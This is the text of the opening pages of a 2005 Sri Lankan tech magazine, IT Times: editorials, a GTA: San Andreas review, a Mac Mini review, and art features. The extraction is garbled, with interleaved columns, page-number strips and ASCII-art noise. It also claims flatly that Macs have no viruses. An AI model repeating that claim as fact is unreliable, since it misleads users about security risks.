345 64 2MB
English Pages 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Cover Software: Photoshop Model: Thilini Photo: Roshan Perret Studio Times Agency: Impakt Models Tel: 011 2394343 impaktmodels.com [email protected] Open Source This month’s cover shot on the theme ‘Open Source’. The model is a literal display of openness, and there are levels of meaning under the surface. Three metaphors are embedded in the image, representing Mi-
As thanks to Impakt for their prompt and profes-
crosoft Windows, Apple, and Free/Open Source Software.
sional support, IT Times is pleased to announce the following Impakt events: Basic Grooming
The Windows level is the ... window, modeled after René Magritte’s ‘Tele-
Course (Rs, 10,000). A course designed for
scope’. The window shows the Colombo sky from the Leisure Times bal-
anybody, Male or Female Its contents are Hair,
cony. Much thanks to Deshan Tennekoon for his vital input on this de-
Skin, Make-up, Etiquette, and Personal Presen-
sign. Windows (or any OS) literally shows you the world outside. Within
tation. Professional Modelling Course (8,000).
the window there is another Magritte painting - ‘Son of Man’. This man with an apple in front of his face represents... Apple. Both pioneers
Each course will run twice a week 18.30 – 20.30
have shown many things to many people, but they are still very closed
for 4 weeks at Excel world, in the new rooms.
systems. The most basic wall they put up is affordability, which is why Rupees paper the walls.
Those who have the potential to become a Model will be taken through to the next level, of profes-
Finally, Thilini represents Free and Open Source Software. Actually, each
sional styling, Fashion, Posture, Posing in front
item of clothing has meaning, as you can read on page 28. In contrast to
of a Camera, and of course The Catwalk!
the buttoned up world of proprietary computing she is more... open.
editorial This is beta. If you’re unfamiliar with geek-speak, a beta is a version of software that is released for
Indi Samarajiva [email protected]
public evaluation. Some projects - like Google News
associate editor
and Flickr - never emerge from beta, even when they are full fledged powerhouses. Our goal at IT Times is more simple. We simply seek to be an interesting tech magazine. We have tried to tailor our content to serve a broad range of youth, professionals, geeks, and people who are simply curious. Now we’d appreciate your feedback.
Mahangu Weerasinghe [email protected] contributing editor Ashwin Hemmathagama [email protected] manager
The reason for this special edition is that IT Times has undergone a wholesale transformation. From today I, Indi Samarajiva, will step in as Editor
Pragathi Mahilal [email protected]
and Mahangu Weerasinghe is joining as Associate Editor. We are both ac-
marketing executive
tive netizens, and that forms the core of our experience.. That is, we don’t get out much. We recently founded www.kottu.org, which is an aggregator
Dunstan Wijegunaratne
of 60+ Sri Lankan blogs (personal websites). A great deal of the new con-
design consultant
tent is actually drawn from these online resources. We have a new vision in
Aruna Wickramarachchi
terms of design and content, one which focuses on the most immediately useful information presented in the most comprehensible fashion. Our primary objective is to make you more tech-savvy by reading this magazine.
graphics/layouts Lalani Heenwella proofs
Every article in this issue is chosen to either give you immediate skills or knowledge to make you a better online citizen. For example, you can turn
David Ranabahu
to page 39 to learn the basics of modern web design, or page 24 to learn
printing
about and see the code of a real live computer virus. This is in many ways
Primal Fernando
a beta for the issues to come until the team hits its stride. Tell us what you think. We really love this stuff and I hope that feeling come across, whether you’re a geek or not.
circulation Rohan Fonseka subscriptions
[email protected]
Nimal Weerakkody advertising Saranga Wijeyarathne
IT Times Editor Manager Advertising Subscriptions
Hotlines (077) 301-1266 (077) 228-8199 (077) 321-9733 / (077) 329-3511 (077) 350-2183 / [email protected]
publisher
printer - [email protected]
Wijeya Newspapers Ltd. No. 9, Hunupitiya Cross Colombo 2
Lake House Printers & Publishers W.A.D. Ramanayake Mw, Colombo 2
promotions Nalin Wickramasinghe branding Sujith Pathirannehe systems Naveen Guneratne /it-times/editorial
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14
raveen wijayatilake
features/games
Grand Theft Auto
indranil dasgupta
../computers
Mac Mini Review
indi samarajiva vinita agarwal indi
../art
OS Tan (Japanese Anime) Code as Art: Flash ASCII Art
../photos
Digital Photos From Sri Lanka
raveen wijayatilake
../p2p
BitTorrent
indi
../security
Spyware, Spy-Aware
15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Virus, Anti-Virus Spam, Anti-Spam mahangu weerasinghe
features/opensource
Opensource
chintana wilamuna
tutorials/linux
Ubuntu: Linux for Human Beings
prabath sirisena
../web
Taking Back The Web, HTML/CSS
mahangu weerasinghe
../web
Personal Web Server, PHP
raveen
../chat
Google Talk and Jabber
zafar issadeen
../3D
Digital Dreams, 3ds Max
abhimanyu ghoshal
../photo
Bye Bye Red Eye, Photoshop
chris anderson
../dot-net
Introduction to ADO.NET
/it-times/index
index . ::SZEHDPY666ZDENNNHDP52.. ;::: .:.:.: 62DENNHE66252255666YYZPPPEHNNNNNNNNHHNNNNHNHHDDDEPZ65cs. SNNHNS6ss..:;. ;;PYNENENNNHNNNNPPZPZZPDHNNNEDZS6 : 622 . .... .. ; 2sS5ZYYZYYYYYY6665666ZSY6 : . :s;:s;;;;:;sscss;::. . ;:;: : . .: .ssss5625;:;s5Y665;s :;;.: ;;;::::ss;;;:;:;s;:::;55Y6PZYZYZPYPZZZ56;sssc225c2cccs;: .::: .:: : ;;;::;:;:ss;.;:sc5YYZPEENHNNHNYZPYNNNNNNNNDE66c25S56522css;.:.: . : scs2c522c2255PENNNEHHNNNHEHHNNNNNENH6SPDDHHNHNDDZZ6652526SS62:; ::s s656262S6DDNNDS52PNNNNDPHENHPH D6NHDHDHDEZZSYYPHNDP5;c22c26622:s.s 2625sY6HHED6cYDNNNNP ;DPNHNHEN.sN6NNHNDN5YNNNHYS22ZHDD6;s;ss2YS22 ; 5PYHPNNNNEEEEEH6; : 5NDEPPDNN .NNNNPEHN :. DEHN5s ;S662;s:::;22c5 c2sZ6DDHDDZZPZP62s:: :56ND66DHs2NDYP5Z6N . 6SDNY6. .6c:s;;:. c2 :s;c;. : 65PN6c5YS62 .NPHDZDNNDP6YDN :.5YENZ2;: ss :.. ; Y6YDS666s:;:. Y66S52PZYD:5 :c566DEZY5s56ENES; ::
: : : . : ; :
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
/it-times/index
53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
editorial Editing is not an easy task. I personally would have loved
(page 39). Yeah, we know you can make cool sites with
to fill this issue with everything I got from our contribut-
spinning logos using your WYSIWYG editor, but that’s
ing writers during the past month. However, there are evil
not what we’re talking about. Think cutting edge CSS and
things in print media publishing called space constraints
XHTML with DOCTYPES and all sorts of other good-
and layout guidelines and sadly, these we must obey.
ies. Now how’s that for acronym soup? Yum.
First though, let me tell you what we do have in store
Finally, thanks to some hard work on the part of the Edi-
for you. You’ve played games by Rockstar before, right?
tors (Indi and myself), we’ve managed to give you an ad
What’s that? You played Vice City till your fingers bled and
free issue this time. That’s right folks, October 2005 is
would gladly face possible amputation if given a crack at
free of all advertisements, preservatives and artificial fla-
San Andreas? Thankfully, our resident gamer Raveen has
vouring. No Google ads either – it turns out they didn’t
gone that extra mile and already finished the game. Does
like our Terms of Service.
he ever sleep? This we cannot answer. His GTA: San Andreas review on the next page, however, is a must read.
Well, after reading what we have in store for you this issue, you’re probably wondering what we left out. Although I’d
Mini, mini, mini – that’s all we’ve been hearing about since
love to divulge this information, I dare not for fear of
Steve Jobs came back to Apple. Well, we’ve finally given
having my bandwidth capped by the management.
in and included a review of the much hyped Mac Mini. Indranil Dasgupta takes his Mini apart (no pun intended)
If you think we’re going to get some sleep now that this
in search of that elusive Apple ingredient. Flip to page 11
issue is out – guess again. This, my friends, is the vicious
to evaluate his findings.
cycle of publishing. Like an infinite loop, it never ends.
Naturally, we’ve also included a section that pays homage to the newest Internet buzzwords. Actually, spyware and
See you in November,
adware are more like old buzzwords. Never mind – buzzwords are buzzwords, and Indi takes a long hard look at them on pages 22-23. Till then though, he’s asked me to tell you not to blink. They’re watching you. Finally, what kind of geeks would we be if we didn’t have some tutorials for you. Well, not very good geeks at all, I’d say. We’d be like those social cripples who run Windoors. Is that how you spell it? I forget. Well, for those of you who are handicapped by your operating system – we’ve got a great free alternative in the form of Ubuntu Linux (see my current screenshot here). Scared to venture in to unknown territory? Never fear, Chintana is here - now with added command line goodness. Last but definitely not least, we let our resident web guru Prabhath teach you a little about starting off on the web /it-times/editorial
Mahangu
by Raveen Wijayatilake
Controversial storyline. Check. Gory violence. Check. Crude humor. Check. Addictive game play. Check. Add improved graphics, hugely expanded playing map and new game play, and you have an adventure worthy of the Grand Theft Auto name. In San Andreas, you play the role of Carl Johnson. After spending the last 5 years in GTA III’s Liberty City, he is returning to Los Santos to look into his mother’s death. On arrival, he is picked up by two bad cops who frame him for the murder of a police officer (who was no doubt catching on to their crooked deeds). CJ is forced back into the life he once lived, the very life he left Los Santos to avoid. The first order of business is to get his old gang back on the map. The Grove Street Families have lost the respect and influence they once had, and CJ wants to help them get it back. You start off with little missions like spray painting on walls, but it soon escalates into the usual GTA style drive-bys and murders. This time missions are far less frustrating, and people who couldn’t finish GTA III or Vice City have a good chance of finishing this. Your mission objectives are clearly pointed out with colour coded arrows and the works. You do get the odd mission that you have to try several times (several = play all night), but overall everything is easier than past games. The whole feel of the controls haven’t changed since GTA III, so for veteran players, maneuvering around will
be a breeze. Aiming has been simplified. Pressing the right mouse button zooms in and displays a crosshair. Aiming while running becomes possible as you gain experience with weapons. Gain enough experience and you will find yourself wielding dual weapons. Imagine emptying two clips of Uzi ammo simultaneously into an unsuspecting granny crossing the road? As you progress through the game, you will be able to train yourself in new forms of physical fighting. You can learn to kick box, which puts down an opponent faster. Learning karate kicks will put an enemy on the ground with one shot, leaving you to stomp him to death to your liking. A big addition to San Andreas is the stats system. It’s kind of like a Sims game, but without all the bathroom trips. There are certain aspects of your character that can be built on. Stamina, Fat, Lung Capacity experience with certain weapons etc. If you eat too much (from the many fast food joints dotted across the map) you will get fat. This concept should be familiar to players of ‘Black and White’ who have played around with the giant animal. When you’re fat, your character will have a potbelly, will run slower, not be able to jump over walls or fences and be the butt end of many insults while roaming the streets. If you’re fat, you’ll probably have low stamina, which makes you get tired faster and sprint for shorter periods of time. Likewise, if you work out in a gym, you lose weight and become buff. Your sex appeal increases and so will your stamina. You will run faster, jump higher and score better with your girlfriends, thus leading to weird clothed fornication. Your experience with vehicles has stats too. Drive a car for a long period of time and your experience with it increases. This will tighten the controls and make controlling your car much easier. Ride a motorcycle enough and you will be less likely to go airborne when you crash into that annoying yellow taxi cab switching lanes. As such, this applies to planes and helicopters as well. Though the /it-times/features/games
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
stats system does affect gameplay quite a bit, it can be ignored most of the time. Even when it can’t be ignored, it is not a big deal to manipulate the stats. (Need muscle... go to the gym) There are very few instances where stats are involved with actual missions. One mission requires that you have decent lung capacity to proceed. (yes, CJ can swim! Finally no more drowning to death) Another needs flying skills etc. Every time a stat is updated it is shown on the top left hand of the screen. It will tell you which stat has changed and what it means to you. Probably the biggest addition to the game is the playing area. It’s enormous. About six times the size of Vice City. The map is broken into three cities. Los Santos, San Fierro and Las Venturas. But this isn’t just some basic enlarging of the playing area. It has been done with style. If you take a trip from one end to the other, you will find thriving cities, deserts, forest, countryside and mountains, all brilliantly designed from the noise of footsteps on sand to the grass or dust that is kicked up by a speeding motorcycle. This huge expanse can be a bit of a put off at times though, when you are at one end of the map and your mission is at the other. Even then, if you happen to hop on the right motorcycle, your journey can be quite entertaining.
ditions and sunny and dry conditions in others. Fog and rain have been nicely done. When it rains, the screen turns grainy giving it a wet messy feel. Sunsets are gorgeous. Headlamps from vehicles in the night are pretty cool as well, though you might spot the odd bug or two when light hits certain objects. Get into a fast car and reach a good speed and the motion blur kicks in. Nothing like the motion blur seen in the NFSU series, but nevertheless it works. The draw distance in San Andreas is really good. Think: FarCry draw distance, but instead of jungle, place yourself in a city. One thing I’m disappointed about is the modeling of characters and vehicles. Characters are quite blocky and the textures are not up to par. They certainly could have been improved. This of course doesn’t retract from the gameplay at all. You’ll hardly find yourself complaining about blocky pedestrians while your speeding over them in a sports car. Another Sims like addition is control over your appearance. You can dress up CJ in clothes of your liking, get tattoos and haircuts (Afro anyone?) Fancy clothes will increase your sex appeal and you will gain more respect, while running around in your underwear will lead to some funny conversations. Before you ask, no... you can’t get CJ naked (legally, that is). His clothes really don’t matter to most of the gameplay either. A few missions require you to have some fancy threads, but most of the time running around in your underwear will work.
You’ll hardly find yourself complaining about blocky pedestrians while you’re speeding over them in a sports car.
Moving on to graphics. I’m not going to be too harsh on this aspect since GTA was never exactly known for it’s visual brilliance. If you want graphics, play games like F.E.A.R and Chronicles of Riddick. The blur’ish look that was present in Vice City is gone. Everything is crystal clear now. One thing GTA does manage to do is, create great atmospheres. It recreates the feel of the 90’s pretty well. It also has the ability to give you the feeling that you are in a living and growing city. Yes, the weather changes - you will find fog in certain cities, constant rainy and wet con-
/it-times/features/games
The sound in San Andreas is top notch as well. Vehicle engines are well done and have an appropriately deep feel to them. Some weapons lack the volume that would have been preferred, but most are spot on. Weather effects are audible, rainfall and winds add to the visual experience. The hilarious radio stations that were so popular (to the people who had copies with audio that is) are back and haven’t lost the ability to make you giggle. They also have some great music, making the whole 90’s feel more re-
alistic. You get 11 stations in all, but you tend to listen to only about three stations overall. The rap station has some pretty cool music from Dr. Dre and Tupac Shakur. The classic rock station treats you to some Guns ‘n Roses and the like. My favorite though was the talk radio station which gives you some much anticipated comic relief. The entertainment provided by the radio makes those really long drives across the map that much more bearable. The way your radio sounds depends on the vehicle you’re in. Luxury cars may have some good bass while motorbikes and scooters have a ‘three-wheeler speaker’ feel. San Andreas has an excellent voice cast featuring an unknown rapper named Young Maylay as CJ, MC Eiht as Ryder, Samuel L. Jackson as crooked cop Officer Tenpenny, comedian David Cross as Zero, Peter Fonda as ‘The Truth’, Charlie Murphy as the pimp Jizzy and James Woods as Mike Toreno. They all give brilliant performances to move the story along without leaving you wondering whether they couldn’t do better with the voices. Aside from the linear campaign through the game, you will find a mini-game almost everywhere you look in San Andreas. The usual side missions that occur when you get into taxis, police cars and fire trucks are still available. In addition, you will be able to get into a truck at night and rob houses, stealth being the key factor. Shopping malls will have arcade games, gyms will have boxing challenges, night clubs will have dance revolution games and get into a car with some decent hydraulics and you can have a hopping contest. Strips clubs let you pay for lap dances, if animated females are your thing. If none of this appeals to you, you can always buy some big guns from your local Ammunition (or use a cheat... only for entertainment purposes though) and wreak havoc. It’s really fun to fire a bazooka right into the middle of ten cops, and watch them and their limbs fly. A favorite of mine is parking cars side by side and blowing up the first in line. What takes place is a domino effect of car explosions. Very satisfying if you get it right. Going on a rampage in a tank is also an entertaining time-killer.
GTA: San Andreas first shipped with an ESRB rating of ‘M’ for mature. That meant anyone over 17 could play the game. This also meant it could be sold in popular stores such as Walmart. However, the developer, Rockstar, messed somewhere along the line and the game shipped with some hidden content that couldn’t be accessed by the general user, but could be unlocked using tools the mod community developed. This ‘hot coffee’ mod is a mini-game where you can engage in sexual intercourse (fully clothed mind you). The objective is to make your partner reach the highest level of ‘excitement’. “Remember, nice guys finish last”. This turned the already controversial world of GTA upside down. Big people from big places got involved and things turned ugly. The ‘M’ rating was changed to a AO (Adults Only) rating. This meant it had to be cleared off pretty much every big retail store in America. Stores lost around $50 million from not being able to sell the game. The game has been banned in Australia. Rockstar is in the process of editing out the naughty bits and shipping a ‘clean’ version of GTA which will be given the M rating. Obviously, Rockstar is enjoying the publicity gained by this whole fiasco. Nothing says ‘BUY ME’ to a 15 year old like a game banned for naughty sex acts.
Development hiccups aside, San Andreas is a very fulfilling experience. Considering the high standards of previous GTA games, San Andreas has topped gamer expectations. Responsive controls, addictive gameplay, impressive sound and decent graphics make this a must play for any serious gamer.
01 02 03 04 05 06 07 08 09 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Mini Me
by Indranil Dasgupta The Mac Mini under a downpour. Do not try at home. Photo by !efatima (flickr.com/photos/webmonk)
Y
ou’d be hard pressed to find a computer smaller than the Mini. It weighs in at about 1.5 kgs and measures just 2.5 by 6 inches. Actually, upon first glance, it looks more like an external optical drive than a fully fledged Macintosh. It is not until you notice the large Apple logo at the top that you understand what it really is - a shrunken computer. It is what Apple CEO Steve Jobs calls a “BYODKM” (Bring Your Own Display Keyboard Mouse) system. With the Mini, Apple seems to be targeting the stereotypical irritated windows user on a budget. Priced at around 50,000 LKR, it is almost equal to a full blown PC. The idea is that, existing PC users can plug their stuff in to a Mini, and enjoy the Macintosh experience at even less cost.
specs The Mini comes in three flavors. The lightest comes with a PowerPC G4 1.25 Ghz processor and a 40 GB hard disk drive, while the other two come /it-times/features/computers
with G4 1.42 Ghz processors and a spacious 80 GBs. The main feature separating the other two is that the strongest packs an all powerful CD/ DVD writer. One problem is that the stronger siblings don’t have an internal modem available in Asia. All in all, however, the strongest model is probably your best buy since the difference in price is almost negligible.
build quality The Mac Mini’s shell is, believe it or not, made of metal. This came as quite a shock to me, as I had been thinking that it was just painted plastic. The build quality, therefore, was quite exceptional. I can’t say for sure, but I dare say that the Mini can survive a free fall from about 5-6 feet (not that I’d try it). The underside comes with rubber pads, providing a sturdy and slip free environment for maximum stability. The front of the Mini contains just one DVD/CD slot. All peripheral connections are neatly organized at the back.
set up After plugging in my monitor, I found, that the Mini had no PS/2 ports for keyboards or mice. It has 2 USB ports for the same purpose, as well as one Firewire port. Now, as I did not buy an Apple keyboard or mouse I had to make a short trip to the nearest hardware dealer, for two converter cables. Now, with both the ports occupied, I was unable to use my USB printer, which was a shame, considering the beautiful fonts I had inherited with Mac OSX Tiger. I have, however, made a mental note to purchase a USB hub, and Apple’s newly released Mighty Mouse, which will let the Mini live in harmony with the printer, mouse, and keyboard. After plugging the power cord in, it was time to turn it on. With trembling hands I pressed the power button, and the Mini purred to life. After a few moments wait, it started off with a short movie introducing me to Tiger. A few prompts followed in
... with trembling hands I pressed the power button, and the Mini purred to life which I got to choose my language, set up a user account, and provide OSX with a few more details. I was surprised by the lack of an activation prompt! That’s right, a Macintosh has none of the useless serial key requests that plague every step of the Operating Systems that hail Redmond. That done, I was presented with pristine looks, clear graphics, and drool-worthy sophistication. All said and done, the entire process took a little over ten minutes, barring the little run to the hardware store. If I was setting up a Windows PC, I’d still be trying to figure out how to install some driver or the other.
software Having set up the Mini, I took a little breather before diving headfirst in to the inevitable – exploration. As I sat down to wander through the Mac’s features again, I couldn’t help but constantly wonder, “Now why on earth isn’t that in Windows?” Being the (former) Windows user that I am, I had two worries that continued to nag me. The first was that I always thought that the close button was on the wrong side. However, it only took me about 15 minutes to get used to the new way. Another nagging thought was viruses. On the Macintosh, however, nothing of that sort is presentt. After I got adjusted, I delved deeper in to what OSX had bequeathed me. Macs are known the world over for their excellent graphics and the Mini certainly didn’t disappoint. The aqua interface, the cool blue, the liquid-y graphics and Quartz Extreme make the Mini a worthwhile experience. Connecting and setting up external
devices was child’s play. Tiger correctly recognized my printer, USB power backup, and external hard drive, setting them up before I even asked! All the included applications - from Safari (the default web browser) to iTunes to Mail ran without a hitch. It was like watching synchronized swimming. Every application is tied to each other in ways that only an Apple interface designer can envision. Spotlight alone is the finest desktop search tool I’ve come across, and it runs circles around Google Desktop Search, MSN Desktop Search and pretty much everything else. Another fine addition is the Dashboard. Clicking the Dashboard icon on the Dock opens up a Workspace, greying out the desktop behind. It contains all sorts of useful widgets - tiny programs like a calculator, stock quote, and world clock. Many more available are for free on Apple’s website..
and animations become slow.
quirks All this praise might make you think that the Mini is virtually a perfect machine. Alas, this is not the case. Apple, too, brings with it its own set of quirks and annoyances. First and foremost, as I already said, there are not enough ports to do justice to all your hardware. Life would be smoother if only Apple provided PS/2 ports, or extra USB ports. The drive slot is another problem. There is no physical way to eject the drive, which I find ridiculous. A physical part should always be handled by
... it was like watching synchronized swimming another physical part. What if Tiger crashes with the disk inside it? Nonetheless, bearing Apple’s wonderful crash free record in mind, I just hope it won’t come up.
performance
Conclusion
The Mini may be lovely to look at, but it doesn’t pack quite the punch you’d expect from a Macintosh. Apple experts recommend at least 740 MB RAM for running Tiger. However, the Mini comes with only 512 MB. Although you can upgrade to a GB of RAM, at the time I got the mine, that option was unavailable in Asia.
If you are a Mac enthusiast, or love Apple, but are afraid to scorch your pockets, I’d highly recommend taking a plunge with the Mini. I guarantee you, you’ll never look back. There are a few quirks and annoyances that come with, but it more than makes up for it in looks and performance not to mention boasting rights.
I’m not saying that Tiger runs slowly with 512 MB of RAM. It’s just that if you use heavy applications, and run for more than a couple of hours, program response becomes sluggish,
I guess what they say is true - once you go Mac, you never go back. Indranil Dasgupta is a techie and recently converted Mac Addict from Calcutta India /it-times/features/computers
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
XP
is the most modern of the girls. She dresses like Sailor Moon and wears a XP beret. In the Windows family, XP would be the teenager - trendy, attractive, but not exactly wise. In the OS-Tans, breast size often represents available memory, and XP-Tan is the best endowed (sometimes to the point of absurdity). She also has an incredible appetite for system resources.
2000
is a sexy, professional, and reliable woman. She wears a trenchcoat but often over nothing more than a swimsuit. She is often portrayed as watching over the clumsy and childish ME-tan. The real Windows 2000 runs on the relatively stable NT kernel and is a favorite of sys-ops everywhere. With Service Pack 2 XP is actually more reliable, but 2K-Tan certainly captures the personality of the Operating System.
ME
is the clumsy, crash-prone yet some-how endearing sister. She’s also the first OS-Tan, and the star of most of the comics. She wears the Windows ‘!’ error message on her dress since ME was profoundly buggy. The real Window Millenium Edition is sometimes called Mistake Edition and the OSTan captures its personality well. In the portrait above she is shown in the air, presumably after Dr. Norton gave her an invasive scan.
95
is an older OS-Tan, usually dressed in a traditional kimono from the Meiji period of modernization. She doesn’t understand new technologies like USB or broadband. 95-Tan is an almost motherly figure who rarely shares the adventures of the other sisters. Not that she didn’t have her share in her Mac-Slaying days. 95-Tan has occasional flashbacks where she wields hersamurai sword, often when the hapless ME-tan disturbs her. /it-times/features/art
OS Leave it to Japan to Sexualize the Op-erating System. OS-Tan is a community artform that portrays Windows as Anime. Over time the OS-Tan girls have developed their own personalities and wardrobes, but anyone from a casual doodler to a professional graphic designer can contribute their own. The translations of the stories are more Engrish than English - but you can still follow the adventures of the OS-Tans, from the clumsy and crash-prone Windows ME to the bookish and reliable Windows 2000. You, the Windows user, are Mr Toshiaki to them.
TAN by Indi Samarajiva
Code As Art The Flash Programming of Jared Tarbel
Symbols and images of all kinds enter and pass through our lives every second, as they have for centuries. People have always relied on images and symbols in order to create some sort of understanding amongst themselves, especially in ancient pre-literate civilizations. People also relied on images and symbols as a tool of selfexpression. This visual understanding helps cultivate our own growth as individuals and as parts of nature. Symbols persist in today’s world, from religion to advertising. So many of our acts remain symbolic because there are meanings which cannot be explained, which transcend meaning. Today, through the interactivity of a Flash, we can expand that visual understanding to greater heights. Jared Tarbell’s Flash movies allow the user to interact with models and symbols that are all around us in nature but invisible to the naked eye. They require a deeper sense of seeing, a sense that was available to us long time ago. Seeds (top left) is a diagram of symetrical seeds aligned together, the same as in nature - in relation to the Fibonacci sequence. The relative rotation of 137.5 degrees produces a
beautiful moving imagery of seeds looking like whirling stars in the sky. The wonderful thing about this art is also its subjectivity, and its meaning from one viewer to the next. One may perceive one thing, and someone else another, yet the effect stays the same - learning through beauty. I’Ching (top right) is a poetry playground running on I’Ching principles and an XML poetry library. User interaction with the model constructs the hexagrams common in life etching used by the Chinese. The hexagram is displayed in the middle after 5 points on the wheel are chosen, the first generated by the user themselves, each idenitifying a certain holistic word such as ‘ADVERSITY’, or ‘GREAT ENCOUNTER’. In ancient Chinese tradition these points were initially determined by the tossing of coins or sticks but the I’Ching poetry generator does that through code. Furthermore, through automatic wordplay, random words are chosen for each holistic word to form a poem – a substantial meaning to follow your life by. Flash allows for a sense of magic. Different parts of your mind light up through the floatation of the words as though
by Vinita Agarwal
they are streaming from space, adding dimension to your whole experience It almost manages to become a mental escape. Tarbell’s work shows that the worlds of science and art have much to learn from each other, despite their long separation. It requires a creative expansion, a thinking out of the box so to speak. Tarbell’s code enables art. The potentials are vast but very dependant with us as individuals to use this new interface to its full value. The technology will continue to expand. We as users may not. Today we need new explorers, Digital da Gamas, to help guide us through this new world of realms, technology, beauty and art. Explorers like Jared Tarbell. /it-times/features/art
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
HHNEHHNHHEHEEDDPPPZPZPEDDDHHDEHHNNHNEEDDHHHHHHHHHHHHHHHEEHHHHHHHHHHNNNNNNPDS HHNHNEEPPPPZZYYYZPDDDDHEDDEEHHHHHHEHEEHHHHHHHHHHHHHHHEEEHHHEEDDDDPPPDDDEENNN NNNYYYSYZYSYZDNNNNHHHDPDNHNHEEEEDEDDEDEDHEEDEEDDEEHHHHHHEEHHHHHHHEHPP66SSSYP PYY66PPDEEENNNND6666ZDNHPPDDHHEEDEZZPPDDNHNNNNHHHEEEEHHNNNHHHHHHHEHNNNNNNEHP ZZZDPDDHNHNDZ2;s:2ZYPZZZZPEEHDEDEEHHHHEDEDHHDDEEHHNNHHHEEEEEHHHHHEEEEDEDEDHE DDDEENNHNSS2c6SZDDDZSYYYPZYSS6DPEEEHDEDPEDDDPPDDPZPDDEDDEHHEEEEHHNNEHEHHHDEP PEENNEESY66YYPPPPDEDDPYYYYYZDPNEDDYZSYYYPPPPHHEEEDEHEDDPDEDDDEEEDDDHHEEDDHHE HHNDEZZYYPZPPPZDHEDDDDZDHEPPPZEDDDEEDEEHDDPZDEHNNNNHDZZZDHHHHHHHHNHNHEHHHHHP HEHYZSSZZDDEENNEDZ6SSYEDZZYYPPEDEEDDEHDDPDPPDDYZ2s6YDNDY626PENNHEDPNHDDYZPDP DPDDEDDDDEEDDDPPPDDEHHEEEENNNNNNHEEEEHDEDEDDPPZPYY656YPHDZSccs26SEPZZEEEEDDP DPZDDDPHHHEEEDDEHHNNHHPZSYHDDP6SNENEDEPDZDEHDDEEEHPZY66SZEDPP66sc66DZPYDPPPP DZYDPHHEDDPEHHHHHEEEPPZY2566EPPZ62HDHHYP6Y25SYZZYYZPPZS2225SYPP66cc;;52Y6DPP PDPHEDDZZDDEEEEHNHED6656YY6YHDNHDPY6EEDH2S:c::22666S62YDPPY2556YY25:;Y6s:2sY PDDDDDDHNNNHEEHY2; sSYPENNDPYSHPEPNDDPZZENSPcc;;25ZDY2cs6PZS5sc;2DDYY66DPPZ6 PHEEEHNEHYYZD652566SS6c; c YcZYY6PPYDSYcc: cS65s sPZY6;s:;S665ssSSY DPPNNEE556Y525SYZYY6::.. ..:;:s:c Y2Z6Y6PY6SSYSZs:. ..;cccs.;66Y6:: .66.: ; PNNSY;;SD2s6Y6S2: .::..;:cs; 2:s:c;S6ZZYSPEYYs::.;sssss:..c2DZ2c.:;c;c NENscZEcsc656ss: .::::.. ....: : ;.s:2s6665ZPPDYSc.. .:s522s::cs66ZY.:26: N 266ZZESYs: .::..:. ...:::.. ;:;.c;c;s:cs;:2255YDZY2: :22522s:.55DD226 :cZESYc2 .:::.. ..:: ..:.. :.:.;.cscs;.::sc266S62: . Y5: 2s22s 6NNs2 . ::;:.... .::.. .::.... . :.. :.s:sscc22s:c6526SYP5 . 2s5c5cS E6P s:s:;..::.:. :;:::.. ::.... ..;;s;ccs:;sss2ZZZY:: s.;.c Y.c.s...:..:;:::::::::::....:: ..... . :.. ..::;sscscc56PPSY 5s; 2 ::s...:.... ...::. ....:: .:;sss;;:ss66DD : s c:;;s::::;;;;;;:.::... ..:.: ::2;22ZZ:s s ...::::::.:::. ..::;:;:: ;.2cYY6Y ;:::;;;::. .::::.... .::::.. . : c;YY6 s;s:: ..:;:::.. .. : ; ; 2 ;.:;;.:..::...:...:.:::. . . s ;:::.ss::..::..... ... ... .: : :..:.::.:::.... . ... ... :..:.:;::::::;;;:. . ::.:::;::... :::::.. ..... .. ...:::: . ...:::::::.. .. . .;:;;:;::::::....:::.. .. ... :....::.: ::.. .... ... . ::.:.: . 